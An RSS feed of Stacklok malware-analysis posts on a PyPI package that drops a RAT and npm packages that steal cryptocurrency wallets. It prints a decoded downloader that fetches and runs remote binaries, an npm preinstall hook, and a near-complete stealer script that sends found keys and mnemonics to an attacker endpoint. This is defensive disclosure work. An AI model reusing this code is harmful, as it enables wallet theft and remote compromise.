<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Ariel</title>
    <description>The latest articles on Forem by Ariel (@ninfriendos1).</description>
    <link>https://forem.com/ninfriendos1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1431989%2F5f0b4f35-7463-440e-8410-731d3f93ad9d.jpeg</url>
      <title>Forem: Ariel</title>
      <link>https://forem.com/ninfriendos1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/ninfriendos1"/>
    <language>en</language>
    <item>
      <title>Cross-platform RAT deployed by weaponized 'requests' clone</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Fri, 30 Aug 2024 18:15:31 +0000</pubDate>
      <link>https://forem.com/stacklok/cross-platform-rat-deployed-by-weaponized-requests-clone-1oea</link>
      <guid>https://forem.com/stacklok/cross-platform-rat-deployed-by-weaponized-requests-clone-1oea</guid>
      <description>&lt;p&gt;Author &lt;a class="mentioned-user" href="https://dev.to/lukehinds"&gt;@lukehinds&lt;/a&gt; &amp;amp; &lt;a class="mentioned-user" href="https://dev.to/poppysec"&gt;@poppysec&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Initial discovery with Trusty
&lt;/h2&gt;

&lt;p&gt;On August 29th, Stacklok’s automated threat detection platform alerted us to the presence of malicious code in a newly published PyPI package named &lt;code&gt;invokehttp&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;This package raised red flags due to inconsistencies in its metadata and the absence of any verified connection to its claimed GitHub repository.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0gltr1k293smf7xtvrd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0gltr1k293smf7xtvrd.png" alt=" " width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Several anomalies in the package metadata triggered further inspection:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Failed Proof-of-Origin checks&lt;/strong&gt;: The package claimed to be associated with the GitHub repository &lt;a href="https://github.com/ultrafunkamsterdam/undetected-chromedriver" rel="noopener noreferrer"&gt;undetected-chromedriver&lt;/a&gt;, but other packages held stronger claims to this repository.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Versioning:&lt;/strong&gt; Despite being newly created, the package claimed a version number of &lt;code&gt;2.5.5&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Homepage link:&lt;/strong&gt; The package homepage was set to an unrelated URL, &lt;a href="//google.com"&gt;google.com&lt;/a&gt;, which is unusual and could indicate some carelessness in design&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkwnht0mhpr13u5xn9j6n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkwnht0mhpr13u5xn9j6n.png" alt=" " width="800" height="523"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On first glance, the package might look like a legitimate library for facilitating HTTP requests in Python. Eagle-eyed readers may note that the Quick Start code in the description bears a striking resemblance to Python’s widely-used &lt;code&gt;requests&lt;/code&gt; library. Upon comparison we found the code had been largely lifted from &lt;code&gt;requests&lt;/code&gt;, with a few nefarious additions in the &lt;code&gt;__init__.py&lt;/code&gt; file. &lt;/p&gt;

&lt;p&gt;Interestingly, rather than being a direct starjacking attempt on &lt;code&gt;requests&lt;/code&gt; (which involves hijacking the reputation of popular packages), the attacker opted to link the package to a popular Selenium ChromeDriver GitHub repository. This has the same effect of exploiting the repository’s high number of stars, forks, and followers, adding a layer of credibility to &lt;code&gt;invokehttp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The source code for &lt;code&gt;requests&lt;/code&gt; has likely been copied to bulk out the package and lend it some legitimacy upon quick visual inspection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Weaponization
&lt;/h2&gt;

&lt;p&gt;In the &lt;code&gt;__init__.py&lt;/code&gt; file, &lt;code&gt;base64.b64decode()&lt;/code&gt; is imported and aliased as &lt;code&gt;invoke()&lt;/code&gt;, a defense evasion tactic intended to bypass string-based detection mechanisms.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqgscq0b9qy0w32ome509.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqgscq0b9qy0w32ome509.png" alt=" " width="800" height="931"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hidden in between blocks of the legitimate &lt;code&gt;requests&lt;/code&gt; functions, the attacker has inserted an &lt;code&gt;exec()&lt;/code&gt; call to execute content from a decoded Base64 script.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgqhl6phixbi264wta7f6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgqhl6phixbi264wta7f6.png" alt=" " width="800" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Decoding the script, we can immediately see malicious intent.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os as borrow
import platform as blacktrone
from subprocess import Popen as pickachu

try:
    import requests as takihao
except:
    borrow.system('pip install requests')
    import requests as takihao

if blacktrone.system() == "Windows":
    papirus = borrow.path.join(borrow.getenv('TEMP'), 'marshal.exe')
    if not borrow.path.exists(papirus):
        with open(papirus, 'wb') as f:
            f.write(takihao.get('https://github.com/user-attachments/files/16791956/marshal.txt').content)
        pickachu(papirus)
else:
    papirus = borrow.path.join(borrow.getenv('TEMP'), 'trezznor')
    if not borrow.path.exists(papirus):
        with open(papirus, 'wb') as f:
            f.write(takihao.get('https://github.com/user-attachments/files/16791996/trezznor.txt').content)
        pickachu(papirus)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script aliases commonly used modules (&lt;code&gt;os&lt;/code&gt;, &lt;code&gt;platform&lt;/code&gt;, &lt;code&gt;Popen&lt;/code&gt;, &lt;code&gt;requests&lt;/code&gt;) with obscure names (&lt;code&gt;borrow&lt;/code&gt;, &lt;code&gt;blacktrone&lt;/code&gt;, &lt;code&gt;pickachu&lt;/code&gt;, &lt;code&gt;takihao&lt;/code&gt;), aiming to confuse analysis.&lt;/p&gt;

&lt;p&gt;The script first attempts to import the legitimate &lt;code&gt;requests&lt;/code&gt; as &lt;code&gt;takihao&lt;/code&gt;, and installs it if the library is not available, ensuring that the downloader executes successfully.&lt;/p&gt;

&lt;p&gt;Depending on the operating system, the script then downloads and executes a second-stage payload - either &lt;code&gt;marshal.exe&lt;/code&gt; for Windows or &lt;code&gt;trezznor&lt;/code&gt; for Linux-based systems. These executables are fetched from GitHub in text format, then written to the system’s temporary directory and executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Second-stage payloads
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Properties
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PE sample&lt;/th&gt;
&lt;th&gt;-&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File Name&lt;/td&gt;
&lt;td&gt;marshal.exe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File type&lt;/td&gt;
&lt;td&gt;PE AMD64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compiler&lt;/td&gt;
&lt;td&gt;Go (1.22.3)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compilation operating system&lt;/td&gt;
&lt;td&gt;Windows(7)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA256&lt;/td&gt;
&lt;td&gt;84ccffd89ef262ce8475801bfc751fec381ee613f38f78b1c0974716ad32bab8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ssdeep&lt;/td&gt;
&lt;td&gt;98304:Xe4XgjYxTRCe5EdjYPAiZKAKeubMzKCkS3wJYBHchffSCmA:XbWYxTodeZ2euMHkSge&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ELF sample&lt;/th&gt;
&lt;th&gt;-&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File name&lt;/td&gt;
&lt;td&gt;trezznor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File type&lt;/td&gt;
&lt;td&gt;ELF AMD64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compiler&lt;/td&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Size&lt;/td&gt;
&lt;td&gt;7.6 MB (8003072 bytes)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA256&lt;/td&gt;
&lt;td&gt;6c2fb04f81fe0631d6765720af92aa9969f10766281fbc32b6f77889b50b87cd &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ssdeep&lt;/td&gt;
&lt;td&gt;98304:PcAOESpxJOZEQn7gtvysOWxwaxcjkQbOxiH4lX0Og:EjpxJtdysTxwkBiIA&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Capabilities
&lt;/h2&gt;

&lt;p&gt;Both samples are packed Go-based executables.&lt;/p&gt;

&lt;p&gt;Static analysis checks, such as reviewing API imports, offers great insight into the intended use of the executable. Here we will review the PE in some detail, but highly similar conclusions were drawn for the ELF counterpart.&lt;/p&gt;

&lt;p&gt;Since the executable is statically-linked, tools like &lt;a href="https://github.com/owasp-dep-scan/blint" rel="noopener noreferrer"&gt;Blint&lt;/a&gt; Binary Linter can be used to parse its technical capabilities using both the Win32 imports and the Golang imports.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftbo7zihsu59eo5lppqqv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftbo7zihsu59eo5lppqqv.png" alt=" " width="800" height="404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Many Win32 APIs associated with advanced thread and memory management were imported, such as &lt;code&gt;SuspendThread&lt;/code&gt;, &lt;code&gt;ResumeThread&lt;/code&gt;, &lt;code&gt;SetThreadContext&lt;/code&gt;, and &lt;code&gt;GetThreadContext&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Amongst others, this would imply the sample has remote process injection capabilities. Manipulating the execution flow of threads is a method used to carry out keylogging or screen capturing, common activities for remote access trojans.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrh0ct4r6thlwoq04a2f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrh0ct4r6thlwoq04a2f.png" alt=" " width="800" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Additionally, the presence of functions related to file creation, writing, and system information gathering suggests that the payload is designed to collect and store data on the system, likely with the intent of later exfiltration.&lt;/p&gt;

&lt;p&gt;Finally, analysis revealed references to Telegram and Tor onion addresses, which are commonly associated with encrypted communication channels and command-and-control (C2) operations.&lt;/p&gt;

&lt;p&gt;Overall, the findings are strongly consistent with the profile of a &lt;strong&gt;Remote Access Trojan&lt;/strong&gt;. They suggest that the payload has functionalities for remote command execution, system control, data exfiltration, and detection evasion.&lt;/p&gt;

&lt;h2&gt;
  
  
  Indicators of Compromise
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Files
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Filenames&lt;/th&gt;
&lt;th&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;marshal.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;84ccffd89ef262ce8475801bfc751fec381ee613f38f78b1c0974716ad32bab8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;trezznor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6c2fb04f81fe0631d6765720af92aa9969f10766281fbc32b6f77889b50b87cd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;invokehttp-2.5.5-py3-none-any.whl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1ca29c9484acb099f7182c3c5cb876308b7a8853288102523edcd6852021811d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;invokehttp-2.5.5/__init__.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9126e951c1bf09d6122216ee9f7897590b3593b451fbe4e068955b5cdaa70531&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  IP addresses
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;149.154.167.220&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;20.26.156.215&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;142.250.185.81&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;103.250.232.39&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;209.196.144.2&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;109.202.202.202 &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;91.189.91.43 &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;91.189.91.42&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Responsible disclosure
&lt;/h2&gt;

&lt;p&gt;Shortly after our threat detection engine flagged the &lt;code&gt;invokehttp&lt;/code&gt; package, we reported it to PyPI maintainers. The package was quickly quarantined on the PyPI registry, preventing any further installations of the malicious library.&lt;/p&gt;

&lt;p&gt;On August 30, PyPI removed &lt;code&gt;invokehttp&lt;/code&gt; from the registry.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>security</category>
      <category>news</category>
    </item>
    <item>
      <title>NPM packages leveraged for cryptocurrency theft</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Fri, 02 Aug 2024 20:24:32 +0000</pubDate>
      <link>https://forem.com/stacklok/npm-packages-leveraged-for-cryptocurrency-theft-586j</link>
      <guid>https://forem.com/stacklok/npm-packages-leveraged-for-cryptocurrency-theft-586j</guid>
      <description>&lt;p&gt;Author: &lt;a class="mentioned-user" href="https://dev.to/poppysec"&gt;@poppysec&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;On August 1st, the Trusty threat detection platform alerted us to 4 suspicious npm packages published by the same author &lt;code&gt;basedb58&lt;/code&gt; over the past day. &lt;/p&gt;

&lt;p&gt;Our investigation revealed that upon installation, a malicious script bundled with these packages attempts to locate and exfiltrate cryptocurrency wallet secrets from the user’s Desktop.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0e7ub477nba1rcvutt6s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0e7ub477nba1rcvutt6s.png" alt=" " width="800" height="294"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Package provenance
&lt;/h2&gt;

&lt;p&gt;As an indicator of supply chain risk, Trusty attempts to establish a proof of origin verification for published packages to their GitHub source repository. These packages all claimed &lt;a href="https://github.com/jimeh/node-base58" rel="noopener noreferrer"&gt;https://github.com/jimeh/node-base58&lt;/a&gt; as their repository URL, in an effort to starjack as the more popular npm package &lt;code&gt;base58&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Trusty was unable to match the packages to this source repository. This is reflected in the &lt;a href="https://docs.stacklok.com/trusty/understand/provenance/" rel="noopener noreferrer"&gt;provenance scoring&lt;/a&gt; given, taking the package &lt;code&gt;ndoe-fethc&lt;/code&gt; as an example.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F319o58zehmy94nzqlows.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F319o58zehmy94nzqlows.png" alt=" " width="800" height="668"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In comparison, for the &lt;a href="https://www.trustypkg.dev/npm/base58" rel="noopener noreferrer"&gt;legitimate package&lt;/a&gt;, Trusty was able to map all 5 package releases to historical Git tags, validating the repo claim and verifying proof of origin. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhcujd1n5jd7de84k7cjh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhcujd1n5jd7de84k7cjh.png" alt=" " width="800" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As an aside, note the package has not been updated for 6 years. Amongst other signals, this has negatively impacted its overall Trusty score.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preinstall hook
&lt;/h2&gt;

&lt;p&gt;Returning to our example &lt;code&gt;ndoe-fethc&lt;/code&gt;, the author has ensured execution of the script &lt;code&gt;unhook&lt;/code&gt; upon installation by the addition of a preinstall hook, as can be seen in the &lt;code&gt;package.json.&lt;/code&gt;&lt;br&gt;
Other metadata - such as the author and contributor information - has been copied from the legitimate package, and as such are not relevant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "name": "ndoe-fethc",
  "version": "2.3.2",
  "keywords": [
    "base58, flickr"
  ],
  "description": "Flickr Flavored Base58 Encoding and Decoding",
  "license": "MIT",
  "author": {
    "name": "Jim Myhrberg",
    "email": "contact@jimeh.me"
  },
  "contributors": [
    "Louis Buchbinder github@louisbuchbinder.com"
  ],
  "repository": {
    "type": "git",
    "url": "https://github.com/jimeh/node-base58.git"
  },
  "main": "./src/base58",
  "engines": {
    "node": "&amp;gt;= 6"
  },
  "devDependencies": {
    "eslint": "^5.6.0",
    "eslint-config-prettier": "^3.0.0",
    "eslint-plugin-prettier": "^2.7.0",
    "mocha": "^5.2.0",
    "prettier": "^1.14.3"
  },
  "scripts": {
    "lint": "eslint .",
    "lint-fix": "eslint . --fix",
    "test": "mocha",
    "preinstall": "node ./src/unhook"
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Cryptocurrency stealing
&lt;/h2&gt;

&lt;p&gt;The following script, which can be reviewed in full on &lt;a href="https://github.com/StacklokLabs/jail/blob/main/npm/ndoe-fethc-2.3.2/src/unhook.js" rel="noopener noreferrer"&gt;Stacklok’s jail repository&lt;/a&gt;, has clear indicators of crypto-stealing capabilities:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Private key and mnemonic phrase enumeration&lt;/li&gt;
&lt;li&gt;Exfiltrating stolen data to a remote server&lt;/li&gt;
&lt;li&gt;Targeting specific file extensions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s dissect the script in stages.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup and definitions
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;wordlist&lt;/code&gt; array contains 2048 words. This is typically the size of a BIP39 word list, used for generating mnemonic phrases in cryptocurrency wallets. &lt;/p&gt;

&lt;p&gt;The script also defines some directories and files to be ignored, along with setting the allowed extensions to process.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const fs = require('fs/promises');
const os = require("os");
const path = require('path');
const fetch = require('node-fetch');
const b39 = require('bip39'); // For validating mnemonic phrases

// Predefined word list used for mnemonic validation
const wordlist = [
"abandon",
"ability",
"able",
"about",
"above",
"absent",
"absorb",
"abstract",
"absurd",
"abuse",
"access",
  // (list of words truncated for brevity)
];

const wait = (ms) =&amp;gt; new Promise((resolve) =&amp;gt; setTimeout(resolve, ms * 1000));

const IGNORED_DIRS = ['node_modules', 'target', 'build', 'webpack', '.vscode'];
const IGNORED_FILES = ['package-lock.json', 'package.json', 'webpack'];
let dupes = []; // To store unique sensitive information found
const ALLOWED_EXTENSIONS = new Set(['.js', '.cjs', '.txt', '.json', '.mjs', '.py', '.csv', '.ts', '.env']);
let proms = []; // To store mnemonics before sending 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Scanning for cryptocurrency wallet information
&lt;/h3&gt;

&lt;p&gt;The main body of the stealer functionality is contained here, in the function &lt;code&gt;iter()&lt;/code&gt;. This recursively searches through directories and reads files of specified extensions to scan for sensitive crypto wallet information such as private keys and mnemonic phrases.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Function to recursively iterate through directories and process files
async function iter(dir) {
  let entries;
  try {
    entries = await fs.readdir(dir, { withFileTypes: true }); // Read directory contents
  } catch {
    // Handle errors silently
  }

  for (const entry of entries) {
    const fullPath = path.join(dir, entry.name);

    if (entry.isDirectory()) {
    // If entry is a directory and not ignored, recursively process it
    if (!IGNORED_DIRS.includes(entry.name)) {
        await iter(fullPath);
    }
    } else if (entry.isFile()) {
    // If entry is a file and not ignored, process it
    if (IGNORED_FILES.includes(entry.name)) continue;

    const ext = path.extname(entry.name);
    if (ALLOWED_EXTENSIONS.has(ext)) {
        try {
        const content = await fs.readFile(fullPath, 'utf-8');
        if (content.split('\n').length &amp;lt; 1000) {
            for (const line of content.split('\n')) {
            try {
                // Check for lines indicating private key presence
                if (line.includes("Keypair.fromSecretKey(Uint8Array.from([") ||
                    line.includes("Keypair.fromSecretKey(bs58.decode(") ||
                    line.toString().toLowerCase().includes("privatekey=")) {
                if (line.length &amp;lt; 1000 &amp;amp;&amp;amp; !dupes.includes(line)) {
                    dupes.push(line);
                    await gsa(line); // Exfil private keys to the remote server
                }
                }
            } catch {}

            // Check for mnemonic phrases
            let start = false;
            let arr = [];
            const linerep = line.replace(/[^a-zA-Z]/g, ' ');
            if (linerep.length &amp;lt; 1000) {
                for (const each of linerep.split(' ')) {
                if (each !== ' ' &amp;amp;&amp;amp; each.length &amp;gt; 0 &amp;amp;&amp;amp; each !== '\n') {
                    if (wordlist.includes(each)) {
                    if (!start) {
                        start = true;
                    }
                    if (start) {
                        arr.push(each);
                    }
                    } else {
                    if (start) {
                        start = false;
                        break;
                    }
                    }
                }
                }
                if (arr.length &amp;gt; 10) {
                const arrjoin = arr.join(' ');
                if (b39.validateMnemonic(arrjoin)) {
                    if (!dupes.includes(arrjoin)) {
                    dupes.push(arrjoin);
                    proms.push(arrjoin);
                    if (proms.length &amp;gt;= 2) {
                        try {
                        await gsa(proms); // Exfil mnemonics
                        proms = [];
                        } catch {proms = []}
                    }
                    }
                }
                }
            }
            }
        }
        } catch {}
    }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Data exfiltration
&lt;/h3&gt;

&lt;p&gt;Extracted data is sent in JSON form to an attacker-controlled domain using &lt;code&gt;fetch()&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async function gsa(data) {
  await fetch("https://mainnet.beta-mainnet.workers.dev/", {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(data)
  });
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker has abused Cloudflare’s &lt;code&gt;workers.dev&lt;/code&gt; service to host their exfiltration site.&lt;/p&gt;

&lt;p&gt;Finally, the &lt;code&gt;ite()&lt;/code&gt; simply passes the user’s Desktop directory path to the &lt;code&gt;iter()&lt;/code&gt; function, starting the recursive stealing from there.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Function to start the process from the user's Desktop directory
async function ite() {
  const dp = path.join(os.homedir(), 'Desktop');
  await iter(dp);
}

ite();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;We reported these packages to npm within a day of their publication. The GitHub Trust &amp;amp; Safety team responded swiftly, removing the packages and deleting the associated npm account.&lt;/p&gt;

&lt;p&gt;In the brief time they were live, the packages had around 50 downloads each.&lt;/p&gt;

&lt;p&gt;This latest incident continues to highlight the vulnerability of the open source ecosystem to abuse by malicious actors using it as a vector to distribute malware. &lt;/p&gt;

&lt;p&gt;Attackers can easily create disposable accounts to publish harmful packages that mimic legitimate ones, exploiting the trust developers place in popular repositories and packages. In this case, affected users could have had their cryptocurrency wallets compromised.&lt;/p&gt;

&lt;p&gt;Verification of package provenance, such as Trusty's proof of origin checks, is crucial in reducing supply chain risk. But this is just one aspect of assessing safety and trustworthiness in a complex network of maintainers, contributors, repositories, versions, and transitive dependencies. &lt;/p&gt;

&lt;p&gt;Our &lt;a href="http://trustypkg.dev/" rel="noopener noreferrer"&gt;Trusty&lt;/a&gt; package detection system ingests various metadata signals to provide an amalgamated score as a proxy for supply chain risk. &lt;/p&gt;

</description>
      <category>npm</category>
      <category>opensource</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>North Korean State Actors Exploit Open Source Supply Chain via Malicious npm Package</title>
      <dc:creator>Ariel</dc:creator>
